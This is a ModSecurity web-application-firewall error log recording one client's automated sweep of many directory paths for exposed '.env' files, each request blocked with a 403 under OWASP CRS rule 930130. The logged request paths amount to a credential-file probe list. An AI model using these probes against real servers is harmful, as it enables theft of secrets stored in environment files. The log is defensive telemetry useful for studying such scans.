[Wed Feb 25 06:05:15.104880 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qwAAAAM&quot;]
[Wed Feb 25 06:05:15.105036 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qwAAAAM&quot;]
[Wed Feb 25 06:05:15.162927 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rAAAAAM&quot;]
[Wed Feb 25 06:05:15.163268 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rAAAAAM&quot;]
[Wed Feb 25 06:05:15.163452 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rAAAAAM&quot;]
[Wed Feb 25 06:05:15.173303 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /http/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUgAAAAU&quot;]
[Wed Feb 25 06:05:15.173539 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUgAAAAU&quot;]
[Wed Feb 25 06:05:15.173696 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUgAAAAU&quot;]
[Wed Feb 25 06:05:15.199685 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpboot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUwAAAAU&quot;]
[Wed Feb 25 06:05:15.199928 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUwAAAAU&quot;]
[Wed Feb 25 06:05:15.200088 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUwAAAAU&quot;]
[Wed Feb 25 06:05:15.206504 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rQAAAAM&quot;]
[Wed Feb 25 06:05:15.206741 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rQAAAAM&quot;]
[Wed Feb 25 06:05:15.206908 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rQAAAAM&quot;]
[Wed Feb 25 06:05:15.238230 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVAAAAAU&quot;]
[Wed Feb 25 06:05:15.238478 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVAAAAAU&quot;]
[Wed Feb 25 06:05:15.238631 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVAAAAAU&quot;]
[Wed Feb 25 06:05:15.263096 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /huniv_migration/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVQAAAAU&quot;]
[Wed Feb 25 06:05:15.263321 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVQAAAAU&quot;]
[Wed Feb 25 06:05:15.263484 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVQAAAAU&quot;]
[Wed Feb 25 06:05:15.373008 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rwAAAAM&quot;]
[Wed Feb 25 06:05:15.373279 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rwAAAAM&quot;]
[Wed Feb 25 06:05:15.373525 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5rwAAAAM&quot;]
[Wed Feb 25 06:05:15.399934 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVwAAAAU&quot;]
[Wed Feb 25 06:05:15.400195 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVwAAAAU&quot;]
[Wed Feb 25 06:05:15.400356 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDVwAAAAU&quot;]
[Wed Feb 25 06:05:15.405188 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sAAAAAM&quot;]
[Wed Feb 25 06:05:15.405427 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sAAAAAM&quot;]
[Wed Feb 25 06:05:15.405603 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sAAAAAM&quot;]
[Wed Feb 25 06:05:15.442478 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /latest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sQAAAAM&quot;]
[Wed Feb 25 06:05:15.442773 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sQAAAAM&quot;]
[Wed Feb 25 06:05:15.442955 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sQAAAAM&quot;]
[Wed Feb 25 06:05:15.490657 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWAAAAAU&quot;]
